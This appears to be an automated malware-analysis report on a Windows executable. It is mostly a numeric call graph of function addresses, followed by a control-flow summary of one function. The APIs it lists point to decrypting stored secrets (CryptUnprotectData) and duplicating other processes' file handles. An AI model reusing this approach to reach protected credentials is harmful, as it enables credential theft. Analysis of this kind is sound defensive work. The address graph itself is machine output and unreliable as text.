39216->39218 39217->39218 39218->38511 39219->38505 39221 40447e 39220->39221 39222 40442e 39220->39222 39223 404485 CryptUnprotectData 39221->39223 39224 40449c 39221->39224 39225 40b2cc 27 API calls 39222->39225 39223->39224 39224->38505 39226 404438 39225->39226 39227 40a804 8 API calls 39226->39227 39228 40443e 39227->39228 39229 404445 39228->39229 39230 404467 39228->39230 39231 40b273 27 API calls 39229->39231 39230->39221 39233 404475 FreeLibrary 39230->39233 39232 40444f GetProcAddress 39231->39232 39232->39230 39234 404460 39232->39234 39233->39221 39234->39230 39236 4135f6 39235->39236 39237 4135eb FreeLibrary 39235->39237 39236->38514 39237->39236 39239 4449c4 39238->39239 39240 444a52 39238->39240 39241 40b2cc 27 API calls 39239->39241 39240->38531 39240->38532 39242 4449cb 39241->39242 39243 40a804 8 API calls 39242->39243 39244 4449d1 39243->39244 39245 40b273 27 API calls 39244->39245 39246 4449dc GetProcAddress 39245->39246 39247 40b273 27 API calls 39246->39247 39248 4449f3 GetProcAddress 39247->39248 39249 40b273 27 API calls 39248->39249 39250 444a04 GetProcAddress 39249->39250 39251 40b273 27 API calls 39250->39251 39252 444a15 GetProcAddress 39251->39252 39253 40b273 27 API calls 39252->39253 39254 444a26 GetProcAddress 39253->39254 39255 40b273 27 API calls 39254->39255 39259->38542 39260->38542 39261->38542 39262->38542 39263->38533 39265 403a29 39264->39265 39279 403bed memset memset 39265->39279 39267 403ae7 39292 40b1ab free free 39267->39292 39269 403a3f memset 39273 403a2f 39269->39273 39270 403aef 39270->38550 39271 40a8d0 7 API calls 39271->39273 39272 409d1f 6 API calls 39272->39273 39273->39267 39273->39269 39273->39271 39273->39272 39274 409b98 GetFileAttributesW 39273->39274 39274->39273 39276 40a051 GetFileTime CloseHandle 39275->39276 39277 4039ca CompareFileTime 39275->39277 39276->39277 39277->38550 39278->38549 39280 414c2e 17 API calls 39279->39280 39281 403c38 39280->39281 39282 409719 2 API calls 39281->39282 39283 403c3f wcscat 39282->39283 39284 414c2e 17 API calls 39283->39284 39285 403c61 39284->39285 39286 409719 2 API calls 39285->39286 39287 403c68 wcscat 39286->39287 39293 403af5 39287->39293 39290 403af5 20 API calls 39291 403c95 39290->39291 39291->39273 39292->39270 39294 403b02 39293->39294 39295 40ae18 9 API calls 39294->39295 39303 403b37 39295->39303 39296 403bdb 39297 40aebe FindClose 39296->39297 39299 403be6 39297->39299 39298 40add4 wcscmp wcscmp 39298->39303 39299->39290 39300 40ae18 9 API calls 39300->39303 39301 40ae51 9 API calls 39301->39303 39302 40aebe FindClose 39302->39303 39303->39296 39303->39298 39303->39300 39303->39301 39303->39302 39304 40a8d0 7 API calls 39303->39304 39304->39303 39306 409d1f 6 API calls 39305->39306 39307 404190 39306->39307 39320 409b98 GetFileAttributesW 39307->39320 39309 40419c 39310 4041a7 6 API calls 39309->39310 39311 40435c 39309->39311 39313 40424f 39310->39313 39311->38576 39313->39311 39314 40425e memset 39313->39314 39316 409d1f 6 API calls 39313->39316 39317 40a8ab 9 API calls 39313->39317 39321 414842 39313->39321 39314->39313 39315 404296 wcscpy 39314->39315 39315->39313 39316->39313 39318 4042b6 memset memset _snwprintf wcscpy 39317->39318 39318->39313 39319->38574 39320->39309 39324 41443e 39321->39324 39323 414866 39323->39313 39325 41444b 39324->39325 39326 414451 39325->39326 39327 4144a3 GetPrivateProfileStringW 39325->39327 39328 414491 39326->39328 39329 414455 wcschr 39326->39329 39327->39323 39331 414495 WritePrivateProfileStringW 39328->39331 39329->39328 39330 414463 _snwprintf 39329->39330 39330->39331 39331->39323 39332->38580 39334 40b2cc 27 API calls 39333->39334 39335 409615 39334->39335 39336 409d1f 6 API calls 39335->39336 39337 409625 39336->39337 39362 409b98 GetFileAttributesW 39337->39362 39339 409634 39340 409648 39339->39340 39363 4091b8 memset 39339->39363 39342 40b2cc 27 API calls 39340->39342 39345 408801 39340->39345 39343 40965d 39342->39343 39344 409d1f 6 API calls 39343->39344 39346 40966d 39344->39346 39345->38583 39345->38610 39415 409b98 GetFileAttributesW 39346->39415 39348 40967c 39348->39345 39349 409681 39348->39349 39416 409529 72 API calls 39349->39416 39351 409690 39351->39345 39362->39339 39417 40a6e6 WideCharToMultiByte 39363->39417 39365 409202 39418 444432 39365->39418 39368 40b273 27 API calls 39369 409236 39368->39369 39464 438552 39369->39464 39372 409383 39374 40b273 27 API calls 39372->39374 39375 409399 39374->39375 39395 40951d 39395->39340 39415->39348 39416->39351 39417->39365 39514 4438b5 39418->39514 39420 44444c 39421 409215 39420->39421 39528 415a6d 39420->39528 39421->39368 39421->39395 39423 4442e6 11 API calls 39425 44469e 39423->39425 39424 444486 39426 4444b9 memcpy 39424->39426 39463 4444a4 39424->39463 39425->39421 39428 443d90 111 API calls 39425->39428 39532 415258 39426->39532 39428->39421 39429 444524 39430 444541 39429->39430 39431 44452a 39429->39431 39535 444316 39430->39535 39432 416935 16 API calls 39431->39432 39432->39463 39435 444316 18 API calls 39463->39423 39650 438460 39464->39650 39466 409240 39466->39372 39467 4251c4 39466->39467 39701 424f07 39467->39701 39515 4438d0 39514->39515 39525 4438c9 39514->39525 39602 415378 memcpy memcpy 39515->39602 39525->39420 39529 415a77 39528->39529 39530 415a8d 39529->39530 39531 415a7e memset 39529->39531 39530->39424 39531->39530 39533 4438b5 11 API calls 39532->39533 39534 41525d 39533->39534 39534->39429 39536 444328 39535->39536 39537 444423 39536->39537 39538 44434e 39536->39538 39603 4446ea 11 API calls 39537->39603 39539 432d4e 3 API calls 39538->39539 39541 44435a 39539->39541 39543 444375 39541->39543 39548 44438b 39541->39548 39546 444381 39546->39435 39603->39546 39662 41703f 39650->39662 39652 43847a 39653 43848a 39652->39653 39654 43847e 39652->39654 39669 438270 39653->39669 39699 4446ea 11 API calls 39654->39699 39661 438488 39661->39466 39663 417044 39662->39663 39664 41705c 39662->39664 39666 416760 11 API calls 39663->39666 39668 417055 39663->39668 39665 417075 39664->39665 39667 41707a 11 API calls 39664->39667 39665->39652 39666->39668 39667->39663 39668->39652 39670 415a91 memset 39669->39670 39671 43828d 39670->39671 39672 438297 39671->39672 39673 438341 39671->39673 39675 4382d6 39671->39675 39674 415c7d 16 API calls 39672->39674 39676 44358f 19 API calls 39673->39676 39677 438458 39674->39677 39678 4382fb 39675->39678 39679 4382db 39675->39679 39689 438318 39676->39689 39677->39661 39681 415c23 memcpy 39678->39681 39680 416935 16 API calls 39679->39680 39682 4382e9 39680->39682 39683 438305 39681->39683 39683->39689 39699->39661 39702 424f1f 39701->39702 39703 424f0c 39701->39703 39800 413f4f 39773->39800 39776 413f37 K32GetModuleFileNameExW 39777 413f4a 39776->39777 39777->38640 39779 413969 wcscpy 39778->39779 39780 41396c wcschr 39778->39780 39783 413a3a 39779->39783 39780->39779 39782 41398e 39780->39782 39805 4097f7 wcslen wcslen _memicmp 39782->39805 39783->38640 39785 41399a 39786 4139a4 memset 39785->39786 39787 4139e6 39785->39787 39806 409dd5 GetWindowsDirectoryW wcscpy 39786->39806 39789 413a31 wcscpy 39787->39789 39790 4139ec memset 39787->39790 39789->39783 39807 409dd5 GetWindowsDirectoryW wcscpy 39790->39807 39791 4139c9 wcscpy wcscat 39791->39783 39793 413a11 memcpy wcscat 39793->39783 39795 413cb0 GetModuleHandleW 39794->39795 39796 413cda 39794->39796 39795->39796 39799 413cbf GetProcAddress 39795->39799 39797 413ce3 GetProcessTimes 39796->39797 39798 413cf6 39796->39798 39797->38645 39798->38645 39799->39796 39801 413f2f 39800->39801 39802 413f54 39800->39802 39801->39776 39801->39777 39803 40a804 8 API calls 39802->39803 39804 413f5f GetProcAddress GetProcAddress GetProcAddress GetProcAddress GetProcAddress 39803->39804 39804->39801 39805->39785 39806->39791 39807->39793 39808->38665 39809->38689 39811 409cf9 GetVersionExW 39810->39811 39812 409d0a 39810->39812 39811->39812 39812->38695 39812->38700 39813->38701 39814->38705 39815->38707 39816->38773 39818 40bba5 39817->39818 39862 40cc26 39818->39862 39821 40bd4b 39883 40cc0c 39821->39883 39826 40b2cc 27 API calls 39827 40bbef 39826->39827 39890 40ccf0 _wcsicmp 39827->39890 39829 40bbf5 39829->39821 39891 40ccb4 6 API calls 39829->39891 39831 40bc26 39832 40cf04 17 API calls 39831->39832 39833 40bc2e 39832->39833 39834 40bd43 39833->39834 39835 40b2cc 27 API calls 39833->39835 39836 40cc0c 4 API calls 39834->39836 39837 40bc40 39835->39837 39836->39821 39892 40ccf0 _wcsicmp 39837->39892 39839 40bc46 39839->39834 39840 40bc61 memset memset WideCharToMultiByte 39839->39840 39893 40103c strlen 39840->39893 39842 40bcc0 39843 40b273 27 API calls 39842->39843 39844 40bcd0 memcmp 39843->39844 39844->39834 39845 40bce2 39844->39845 39846 404423 38 API calls 39845->39846 39847 40bd10 39846->39847 39847->39834 39848 40bd3a LocalFree 39847->39848 39849 40bd1f memcpy 39847->39849 39848->39834 39849->39848 39850->38788 39851->38825 39852->38825 39853->38825 39854->38825 39855->38825 39856->38825 39857->38825 39858->38825 39859->38825 39860->38800 39861->38822 39894 4096c3 CreateFileW 39862->39894 39864 40cc34 39865 40cc3d GetFileSize 39864->39865 39873 40bbca 39864->39873 39866 40afcf 2 API calls 39865->39866 39867 40cc64 39866->39867 39895 40a2ef ReadFile 39867->39895 39869 40cc71 39896 40ab4a MultiByteToWideChar 39869->39896 39871 40cc95 CloseHandle 39872 40b04b ??3@YAXPAX 39871->39872 39872->39873 39873->39821 39874 40cf04 39873->39874 39875 40b633 free 39874->39875 39876 40cf14 39875->39876 39902 40b1ab free free 39876->39902 39878 40cf1b 39879 40cfef 39878->39879 39882 40bbdd 39878->39882 39903 40cd4b 39878->39903 39881 40cd4b 14 API calls 39879->39881 39881->39882 39882->39821 39882->39826 39884 40b633 free 39883->39884 39885 40cc15 39884->39885 39886 40aa04 free 39885->39886 39887 40cc1d 39886->39887 39944 40b1ab free free 39887->39944 39889 40b7d4 memset CreateFileW 39889->38780 39889->38781 39890->39829 39891->39831 39892->39839 39893->39842 39894->39864 39895->39869 39897 40ab93 39896->39897 39898 40ab6b 39896->39898 39897->39871 39899 40a9ce 4 API calls 39898->39899 39900 40ab74 39899->39900 39901 40ab7c MultiByteToWideChar 39900->39901 39901->39897 39902->39878 39904 40cd7b 39903->39904 39905 40aa29 6 API calls 39904->39905 39909 40cd89 39905->39909 39906 40cef5 39907 40aa04 free 39906->39907 39908 40cefd 39907->39908 39908->39878 39909->39906 39910 40aa29 6 API calls 39909->39910 39911 40ce1d 39910->39911 39912 40aa29 6 API calls 39911->39912 39913 40ce3e 39912->39913 39914 40ce6a 39913->39914 39937 40abb7 wcslen memmove 39913->39937 39915 40ce9f 39914->39915 39940 40abb7 wcslen memmove 39914->39940 39918 40a8d0 7 API calls 39915->39918 39921 40ceb5 39918->39921 39919 40ce56 39938 40aa71 wcslen 39919->39938 39920 40ce8b 39941 40aa71 wcslen 39920->39941 39925 40a8d0 7 API calls 39921->39925 39924 40ce5e 39939 40abb7 wcslen memmove 39924->39939 39928 40cecb 39925->39928 39926 40ce93 39942 40abb7 wcslen memmove 39926->39942 39943 40d00b malloc memcpy free free 39928->39943 39931 40cedd 39932 40aa04 free 39931->39932 39933 40cee5 39932->39933 39934 40aa04 free 39933->39934 39935 40ceed 39934->39935 39936 40aa04 free 39935->39936 39936->39906 39937->39919 39938->39924 39939->39914 39940->39920 39941->39926 39942->39915 39943->39931 39944->39889 39945->38840 39946->38848 39947 427533 39951 427548 39947->39951 39960 425711 39947->39960 39948 4259da 40004 416760 11 API calls 39948->40004 39950 4275cb 39984 425506 39950->39984 39951->39950 39958 429b7a 39951->39958 39952 4260dd 40005 424251 120 API calls 39952->40005 39953 4259c2 39980 425ad6 39953->39980 39998 415c56 11 API calls 39953->39998 40010 4446ce 11 API calls 39958->40010 39960->39948 39960->39953 39963 429a4d 39960->39963 39966 422aeb memset memcpy memcpy 39960->39966 39970 4260a1 39960->39970 39976 429ac1 39960->39976 39983 425a38 39960->39983 39994 4227f0 memset memcpy 39960->39994 39995 422b84 15 API calls 39960->39995 39996 422b5d memset memcpy memcpy 39960->39996 39997 422640 13 API calls 39960->39997 39999 4241fc 11 API calls 39960->39999 40000 42413a 90 API calls 39960->40000 39964 429a66 39963->39964 39965 429a9b 39963->39965 40006 415c56 11 API calls 39964->40006 39969 429a96 39965->39969 40008 416760 11 API calls 39965->40008 39966->39960 40009 424251 120 API calls 39969->40009 40003 415c56 11 API calls 39970->40003 39972 429a7a 40007 416760 11 API calls 39972->40007 39976->39948 39976->39980 40011 415c56 11 API calls 39976->40011 39983->39953 40001 422640 13 API calls 39983->40001 40002 4226e0 12 API calls 39983->40002 39985 42554d 39984->39985 39988 425554 39984->39988 40012 423b34 103 API calls 39985->40012 40013 422586 12 API calls 39988->40013 39989 425567 39990 4255ba 39989->39990 39991 42556c memset 39989->39991 39990->39960 39992 425596 39991->39992 39992->39990 39993 4255a4 memset 39992->39993 39993->39990 39994->39960 39995->39960 39996->39960 39997->39960 39998->39948 39999->39960 40000->39960 40001->39983 40002->39983 40003->39948 40004->39952 40005->39980 40006->39972 40007->39969 40008->39969 40009->39976 40010->39976 40011->39948 40012->39988 40013->39989 40014 4147f3 40017 414561 40014->40017 40016 414813 40018 41456d 40017->40018 40019 41457f GetPrivateProfileIntW 40017->40019 40022 4143f1 memset _itow WritePrivateProfileStringW 40018->40022 40019->40016 40021 41457a 40021->40016 40022->40021 40023 44def7 40024 44df07 40023->40024 40025 44df00 ??3@YAXPAX 40023->40025 40026 44df17 40024->40026 40027 44df10 ??3@YAXPAX 40024->40027 40025->40024 40028 44df27 40026->40028 40029 44df20 ??3@YAXPAX 40026->40029 40027->40026 40030 44df37 40028->40030 40031 44df30 ??3@YAXPAX 40028->40031 40029->40028 40031->40030 40032 4148b6 FindResourceW 40033 4148cf SizeofResource 40032->40033 40036 4148f9 40032->40036 40034 4148e0 LoadResource 40033->40034 40033->40036 40035 4148ee LockResource 40034->40035 40034->40036 40035->40036 40037 441b3f 40047 43a9f6 40037->40047 40039 441b61 40220 4386af memset 40039->40220 40041 44189a 40042 442bd4 40041->40042 40043 4418e2 40041->40043 40044 4418ea 40042->40044 40222 441409 memset 40042->40222 40043->40044 40221 4414a9 12 API calls 40043->40221 40048 43aa20 40047->40048 40049 43aadf 40047->40049 40048->40049 40050 43aa34 memset 40048->40050 40049->40039 40051 43aa56 40050->40051 40052 43aa4d 40050->40052 40223 43a6e7 40051->40223 40231 42c02e memset 40052->40231 40057 43aad3 40233 4169a7 11 API calls 40057->40233 40058 43aaae 40058->40049 40058->40057 40073 43aae5 40058->40073 40060 43ac18 40062 43ac47 40060->40062 40235 42bbd5 memcpy memcpy memcpy memset memcpy 40060->40235 40063 43aca8 40062->40063 40236 438eed 16 API calls 40062->40236 40067 43acd5 40063->40067 40238 4233ae 11 API calls 40063->40238 40066 43ac87 40237 4233c5 16 API calls 40066->40237 40239 423426 11 API calls 40067->40239 40071 43ace1 40240 439811 163 API calls 40071->40240 40072 43a9f6 161 API calls 40072->40073 40073->40049 40073->40060 40073->40072 40234 439bbb 22 API calls 40073->40234 40075 43acfd 40081 43ad2c 40075->40081 40241 438eed 16 API calls 40075->40241 40077 43ad19 40242 4233c5 16 API calls 40077->40242 40079 43ad58 40243 44081d 163 API calls 40079->40243 40081->40079 40083 43add9 40081->40083 40083->40083 40247 423426 11 API calls 40083->40247 40084 43ae3a memset 40085 43ae73 40084->40085 40248 42e1c0 147 API calls 40085->40248 40086 43adab 40245 438c4e 163 API calls 40086->40245 40088 43ad6c 40088->40049 40088->40086 40244 42370b memset memcpy memset 40088->40244 40090 43ae96 40249 42e1c0 147 API calls 40090->40249 40092 43adcc 40246 440f84 12 API calls 40092->40246 40095 43aea8 40096 43aec1 40095->40096 40250 42e199 147 API calls 40095->40250 40098 43af00 40096->40098 40251 42e1c0 147 API calls 40096->40251 40098->40049 40101 43af1a 40098->40101 40102 43b3d9 40098->40102 40252 438eed 16 API calls 40101->40252 40107 43b3f6 40102->40107 40114 43b4c8 40102->40114 40104 43b60f 40104->40049 40311 4393a5 17 API calls 40104->40311 40105 43af2f 40253 4233c5 16 API calls 40105->40253 40293 432878 12 API calls 40107->40293 40109 43af51 40254 423426 11 API calls 40109->40254 40112 43af7d 40255 423426 11 API calls 40112->40255 40113 43b4f2 40300 43a76c 21 API calls 40113->40300 40114->40113 40299 42bbd5 memcpy memcpy memcpy memset memcpy 40114->40299 40118 43b529 40301 44081d 163 API calls 40118->40301 40119 43b428 40147 43b462 40119->40147 40294 432b60 16 API calls 40119->40294 40120 43af94 40256 423330 11 API calls 40120->40256 40124 43b47e 40127 43b497 40124->40127 40296 42374a memcpy memset memcpy memcpy memcpy 40124->40296 40125 43b544 40135 43b55c 40125->40135 40302 42c02e memset 40125->40302 40126 43afca 40257 423330 11 API calls 40126->40257 40297 4233ae 11 API calls 40127->40297 40132 43afdb 40258 4233ae 11 API calls 40132->40258 40134 43b4b1 40298 423399 11 API calls 40134->40298 40303 43a87a 163 API calls 40135->40303 40137 43b56c 40140 43b58a 40137->40140 40304 423330 11 API calls 40137->40304 40139 43afee 40259 44081d 163 API calls 40139->40259 40305 440f84 12 API calls 40140->40305 40142 43b4c1 40307 42db80 163 API calls 40142->40307 40146 43b592 40306 43a82f 16 API calls 40146->40306 40295 423330 11 API calls 40147->40295 40150 43b5b4 40308 438c4e 163 API calls 40150->40308 40152 43b5cf 40309 42c02e memset 40152->40309 40154 43b005 40154->40049 40159 43b01f 40154->40159 40260 42d836 163 API calls 40154->40260 40155 43b1ef 40270 4233c5 16 API calls 40155->40270 40157 43b212 40271 423330 11 API calls 40157->40271 40159->40155 40268 423330 11 API calls 40159->40268 40269 42d71d 163 API calls 40159->40269 40161 43add4 40161->40104 40310 438f86 16 API calls 40161->40310 40164 43b087 40261 4233ae 11 API calls 40164->40261 40165 43b22a 40272 42ccb5 11 API calls 40165->40272 40168 43b10f 40264 423330 11 API calls 40168->40264 40169 43b23f 40273 4233ae 11 API calls 40169->40273 40171 43b257 40274 4233ae 11 API calls 40171->40274 40175 43b129 40265 4233ae 11 API calls 40175->40265 40176 43b26e 40275 4233ae 11 API calls 40176->40275 40178 43b09a 40178->40168 40262 42cc15 19 API calls 40178->40262 40263 4233ae 11 API calls 40178->40263 40180 43b282 40276 43a87a 163 API calls 40180->40276 40182 43b13c 40266 440f84 12 API calls 40182->40266 40184 43b29d 40277 423330 11 API calls 40184->40277 40187 43b15f 40267 4233ae 11 API calls 40187->40267 40188 43b2af 40190 43b2b8 40188->40190 40191 43b2ce 40188->40191 40278 4233ae 11 API calls 40190->40278 40279 440f84 12 API calls 40191->40279 40194 43b2c9 40281 4233ae 11 API calls 40194->40281 40195 43b2da 40280 42370b memset memcpy memset 40195->40280 40198 43b2f9 40282 423330 11 API calls 40198->40282 40200 43b30b 40283 423330 11 API calls 40200->40283 40202 43b325 40284 423399 11 API calls 40202->40284 40204 43b332 40285 4233ae 11 API calls 40204->40285 40206 43b354 40286 423399 11 API calls 40206->40286 40208 43b364 40287 43a82f 16 API calls 40208->40287 40210 43b370 40288 42db80 163 API calls 40210->40288 40212 43b380 40289 438c4e 163 API calls 40212->40289 40214 43b39e 40290 423399 11 API calls 40214->40290 40216 43b3ae 40291 43a76c 21 API calls 40216->40291 40218 43b3c3 40292 423399 11 API calls 40218->40292 40220->40041 40221->40044 40222->40042 40224 43a6f5 40223->40224 40230 43a765 40223->40230 40224->40230 40312 42a115 40224->40312 40228 43a73d 40229 42a115 147 API calls 40228->40229 40228->40230 40229->40230 40230->40049 40232 4397fd memset 40230->40232 40231->40051 40232->40058 40233->40049 40234->40073 40235->40062 40236->40066 40237->40063 40238->40067 40239->40071 40240->40075 40241->40077 40242->40081 40243->40088 40244->40086 40245->40092 40246->40161 40247->40084 40248->40090 40249->40095 40250->40096 40251->40096 40252->40105 40253->40109 40254->40112 40255->40120 40256->40126 40257->40132 40258->40139 40259->40154 40260->40164 40261->40178 40262->40178 40263->40178 40264->40175 40265->40182 40266->40187 40267->40159 40268->40159 40269->40159 40270->40157 40271->40165 40272->40169 40273->40171 40274->40176 40275->40180 40276->40184 40277->40188 40278->40194 40279->40195 40280->40194 40281->40198 40282->40200 40283->40202 40284->40204 40285->40206 40286->40208 40287->40210 40288->40212 40289->40214 40290->40216 40291->40218 40292->40161 40293->40119 40294->40147 40295->40124 40296->40127 40297->40134 40298->40142 40299->40113 40300->40118 40301->40125 40302->40135 40303->40137 40304->40140 40305->40146 40306->40142 40307->40150 40308->40152 40309->40161 40310->40104 40311->40049 40313 42a175 40312->40313 40315 42a122 40312->40315 40313->40230 40318 42b13b 147 API calls 40313->40318 40315->40313 40316 42a115 147 API calls 40315->40316 40319 43a174 40315->40319 40343 42a0a8 147 API calls 40315->40343 40316->40315 40318->40228 40333 43a196 40319->40333 40334 43a19e 40319->40334 40320 43a306 40320->40333 40359 4388c4 14 API calls 40320->40359 40323 42a115 147 API calls 40323->40334 40324 415a91 memset 40324->40334 40325 43a642 40325->40333 40363 4169a7 11 API calls 40325->40363 40329 43a635 40362 42c02e memset 40329->40362 40333->40315 40334->40320 40334->40323 40334->40324 40334->40333 40344 42ff8c 40334->40344 40352 4165ff 40334->40352 40355 439504 13 API calls 40334->40355 40356 4312d0 147 API calls 40334->40356 40357 42be4c memcpy memcpy memcpy memset memcpy 40334->40357 40358 43a121 11 API calls 40334->40358 40336 4169a7 11 API calls 40337 43a325 40336->40337 40337->40325 40337->40329 40337->40333 40337->40336 40338 42b5b5 memset memcpy 40337->40338 40339 42bf4c 14 API calls 40337->40339 40342 4165ff 11 API calls 40337->40342 40360 42b63e 14 API calls 40337->40360 40361 42bfcf memcpy 40337->40361 40338->40337 40339->40337 40342->40337 40343->40315 40364 43817e 40344->40364 40346 42ff99 40347 42ffe3 40346->40347 40348 42ffd0 40346->40348 40351 42ff9d 40346->40351 40369 4169a7 11 API calls 40347->40369 40368 4169a7 11 API calls 40348->40368 40351->40334 40353 4165a0 11 API calls 40352->40353 40354 41660d 40353->40354 40354->40334 40355->40334 40356->40334 40357->40334 40358->40334 40359->40337 40360->40337 40361->40337 40362->40325 40363->40333 40365 438187 40364->40365 40367 438192 40364->40367 40370 4380f6 40365->40370 40367->40346 40368->40351 40369->40351 40372 43811f 40370->40372 40371 438164 40371->40367 40372->40371 40374 4300e8 3 API calls 40372->40374 40375 437e5e 40372->40375 40374->40372 40398 437d3c 40375->40398 40377 437eb3 40377->40372 40378 437ea9 40378->40377 40384 437f22 40378->40384 40413 41f432 40378->40413 40381 437f06 40460 415c56 11 API calls 40381->40460 40383 437f95 40461 415c56 11 API calls 40383->40461 40385 437f7f 40384->40385 40386 432d4e 3 API calls 40384->40386 40385->40383 40388 43802b 40385->40388 40386->40385 40389 4165ff 11 API calls 40388->40389 40390 438054 40389->40390 40424 437371 40390->40424 40393 43806b 40394 438094 40393->40394 40462 42f50e 138 API calls 40393->40462 40396 437fa3 40394->40396 40397 4300e8 3 API calls 40394->40397 40396->40377 40463 41f638 104 API calls 40396->40463 40397->40396 40399 437d69 40398->40399 40402 437d80 40398->40402 40464 437ccb 11 API calls 40399->40464 40401 437d76 40401->40378 40402->40401 40403 437da3 40402->40403 40405 437d90 40402->40405 40406 438460 134 API calls 40403->40406 40405->40401 40468 437ccb 11 API calls 40405->40468 40409 437dcb 40406->40409 40408 437de8 40467 424f26 123 API calls 40408->40467 40409->40408 40465 444283 13 API calls 40409->40465 40411 437dfc 40466 437ccb 11 API calls 40411->40466 40414 41f54d 40413->40414 40420 41f44f 40413->40420 40415 41f466 40414->40415 40498 41c635 memset memset 40414->40498 40415->40381 40415->40384 40420->40415 40422 41f50b 40420->40422 40469 41f1a5 40420->40469 40494 41c06f memcmp 40420->40494 40495 41f3b1 90 API calls 40420->40495 40496 41f398 86 API calls 40420->40496 40422->40414 40422->40415 40497 41c295 86 API calls 40422->40497 40425 41703f 11 API calls 40424->40425 40426 437399 40425->40426 40427 43739d 40426->40427 40430 4373ac 40426->40430 40499 4446ea 11 API calls 40427->40499 40429 4373a7 40429->40393 40431 416935 16 API calls 40430->40431 40432 4373ca 40431->40432 40434 438460 134 API calls 40432->40434 40438 4251c4 137 API calls 40432->40438 40442 415a91 memset 40432->40442 40445 43758f 40432->40445 40457 437584 40432->40457 40459 437d3c 135 API calls 40432->40459 40500 425433 13 API calls 40432->40500 40501 425413 17 API calls 40432->40501 40502 42533e 16 API calls 40432->40502 40503 42538f 16 API calls 40432->40503 40504 42453e 123 API calls 40432->40504 40433 4375bc 40436 415c7d 16 API calls 40433->40436 40434->40432 40437 4375d2 40436->40437 40437->40429 40439 4442e6 11 API calls 40437->40439 40438->40432 40440 4375e2 40439->40440 40440->40429 40507 444283 13 API calls 40440->40507 40442->40432 40505 42453e 123 API calls 40445->40505 40446 4375f4 40451 437620 40446->40451 40452 43760b 40446->40452 40450 43759f 40453 416935 16 API calls 40450->40453 40455 416935 16 API calls 40451->40455 40508 444283 13 API calls 40452->40508 40453->40457 40455->40429 40457->40433 40506 42453e 123 API calls 40457->40506 40458 437612 memcpy 40458->40429 40459->40432 40460->40377 40461->40396 40462->40394 40463->40377 40464->40401 40465->40411 40466->40408 40467->40401 40468->40401 40470 41bc3b 101 API calls 40469->40470 40471 41f1b4 40470->40471 40472 41edad 86 API calls 40471->40472 40479 41f282 40471->40479 40473 41f1cb 40472->40473 40474 41f1f5 memcmp 40473->40474 40475 41f20e 40473->40475 40473->40479 40474->40475 40476 41f21b memcmp 40475->40476 40475->40479 40477 41f326 40476->40477 40480 41f23d 40476->40480 40478 41ee6b 86 API calls 40477->40478 40477->40479 40478->40479 40479->40420 40480->40477 40481 41f28e memcmp 40480->40481 40483 41c8df 56 API calls 40480->40483 40481->40477 40482 41f2a9 40481->40482 40482->40477 40485 41f308 40482->40485 40486 41f2d8 40482->40486 40484 41f269 40483->40484 40484->40477 40487 41f287 40484->40487 40488 41f27a 40484->40488 40485->40477 40492 4446ce 11 API calls 40485->40492 40489 41ee6b 86 API calls 40486->40489 40487->40481 40490 41ee6b 86 API calls 40488->40490 40491 41f2e0 40489->40491 40490->40479 40493 41b1ca memset 40491->40493 40492->40477 40493->40479 40494->40420 40495->40420 40496->40420 40497->40414 40498->40415 40499->40429 40500->40432 40501->40432 40502->40432 40503->40432 40504->40432 40505->40450 40506->40433 40507->40446 40508->40458 40509 441819 40512 430737 40509->40512 40511 441825 40513 430756 40512->40513 40525 43076d 40512->40525 40514 430774 40513->40514 40515 43075f 40513->40515 40527 43034a memcpy 40514->40527 40526 4169a7 11 API calls 40515->40526 40518 4307ce 40520 430819 memset 40518->40520 40528 415b2c 11 API calls 40518->40528 40519 43077e 40519->40518 40523 4307fa 40519->40523 40519->40525 40520->40525 40522 4307e9 40522->40520 40522->40525 40529 4169a7 11 API calls 40523->40529 40525->40511 40526->40525 40527->40519 40528->40522 40529->40525 40530 41493c EnumResourceNamesW

                                                                                            Executed Functions

                                                                                            Function 0040DD85 Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 212filenativeCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 338 40dd85-40ddeb memset call 409bca CreateFileW 341 40ddf1-40de09 call 40afcf call 41352f 338->341 346 40de0b-40de1a NtQuerySystemInformation 341->346 347 40de1c 341->347 348 40de20-40de27 346->348 347->348 349 40de29-40de39 348->349 350 40de3b-40de52 CloseHandle GetCurrentProcessId 348->350 349->341 349->350 351 40de54-40de58 350->351 352 40de7a-40de8e call 413cfa call 413d4c 350->352 351->352 353 40de5a 351->353 362 40de94-40debb call 40e6ad call 409c52 _wcsicmp 352->362 363 40e00c-40e01b call 413d29 352->363 355 40de5d-40de63 353->355 357 40de74-40de78 355->357 358 40de65-40de6c 355->358 357->352 357->355 358->357 360 40de6e-40de71 358->360 360->357 370 40dee7-40def7 OpenProcess 362->370 371 40debd-40dece _wcsicmp 362->371 373 40dff8-40dffb 370->373 374 40defd-40df02 370->374 371->370 372 40ded0-40dee1 _wcsicmp 371->372 372->370 375 40dffd-40e006 372->375 373->363 373->375 376 40df08 374->376 377 40dfef-40dff2 CloseHandle 374->377 375->362 375->363 378 40df0b-40df10 376->378 377->373 379 40df16-40df1d 378->379 380 40dfbd-40dfcb 378->380 379->380 382 40df23-40df4a GetCurrentProcess DuplicateHandle 379->382 380->378 381 40dfd1-40dfd3 380->381 381->377 382->380 383 40df4c-40df76 memset call 41352f 382->383 386 40df78-40df8a 383->386 387 40df8f-40dfbb CloseHandle call 409c52 * 2 _wcsicmp 383->387 386->387 387->380 392 40dfd5-40dfed 387->392 392->377
                                                                                            APIs
                                                                                            • memset.MSVCRT ref: 0040DDAD
                                                                                              • Part of subcall function 00409BCA: GetModuleFileNameW.KERNEL32(00000000,00000208,00000104,0040DCE6,00000000,0040DB99,?,00000000,00000208,?), ref: 00409BD5
                                                                                            • CreateFileW.KERNELBASE(?,80000000,00000003,00000000,00000003,00000000,00000000,?,000000FF,00000000,00000104), ref: 0040DDD4
                                                                                              • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,0040B608), ref: 0040AFD8
                                                                                              • Part of subcall function 0041352F: GetModuleHandleW.KERNEL32(ntdll.dll,-00000108,0040DE02,?,000000FF,00000000,00000104), ref: 00413542
                                                                                              • Part of subcall function 0041352F: GetProcAddress.KERNEL32(00000000,NtQuerySystemInformation), ref: 00413559
                                                                                              • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtLoadDriver), ref: 0041356B
                                                                                              • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtUnloadDriver), ref: 0041357D
